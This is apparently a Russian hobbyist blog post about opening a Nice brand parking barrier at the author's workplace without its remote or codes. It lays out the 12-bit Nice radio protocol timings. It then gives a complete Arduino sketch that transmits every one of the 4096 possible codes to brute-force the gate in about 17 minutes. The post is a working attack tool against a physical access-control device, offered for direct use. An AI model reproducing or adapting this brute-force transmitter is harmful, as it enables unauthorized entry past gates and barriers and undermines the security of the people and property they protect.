На работе стоял шлагбаум фирмы Nice. Для открытия использовалась карта. Пульта в наличии не было. Кодов никто не знал.

Шлагбаумы Nice весьма популярны, но информации о протоколе сигнала найти было не просто. Существует два типа кодирования: 12-битные для старых и 24-битные форматы кодов для новых. Решил начать с 12-и битного и не прогадал. Пакет данных состоял из 12 бит. Перед 12-битным кодом идет "пилотный период" и "стартовый импульс". "Пилотный период" состоит из 36 интервалов низкого уровня, "стартовый импульс" состоит из 1 интервала высокого уровня. Один пакет данных состоит из "пилотного периода" и "стартового импульса", и за ним уникальный 12-битный код для каждого отдельно взятого шлакбаума. Пульты отправляют 4 одинаковых пакета данных, но я поставил больше что бы избежать лишних помех. Длительности импульсов для шлагбаумов Nice:
- Логическая «1» – 1400 мкс низкого уровня (два интервала) и 700 мкс высокого (один интервал)
- Логический «0» – это 700 мкс низкого уровня (один интервал) и 1400 мкс высокого (один интервал)
- «Пилотный период» – 25200 мкс (36 интервалов)
- «Стартовый импульс» – 700 мкс (1 интервал)
Что бы подобрать нужный пришлось перебирать все 4096 комбинации для 12-битной кодировки. По прикидкам на весь перебор должно было уйти 17 минут.

Скетч для заливки в Arduino:
int send_code_pin = 13; int send_repeat = 5; void setup() { pinMode(send_code_pin, OUTPUT); } void loop () { for (int send_code = 0; send_code < 4096; send_code++) // цикли перебора всех кодов для 12 бит { for (int j = 0; j <send_repeat; j++) // в пультах используется 4 повторения { digitalWrite(send_code_pin, HIGH); // стартовый импульс delayMicroseconds(700); digitalWrite(send_code_pin, LOW); for (int i = 12; i > 0; i--) { boolean bit_code = bitRead(send_code, i - 1); if (bit_code) { digitalWrite(send_code_pin, LOW); // единица delayMicroseconds(1400); digitalWrite(send_code_pin, HIGH); delayMicroseconds(700); } else { digitalWrite(send_code_pin, LOW); // ноль delayMicroseconds(700); digitalWrite(send_code_pin, HIGH); delayMicroseconds(1400); } } digitalWrite(send_code_pin, LOW); // пилотный период delayMicroseconds(25200); } } }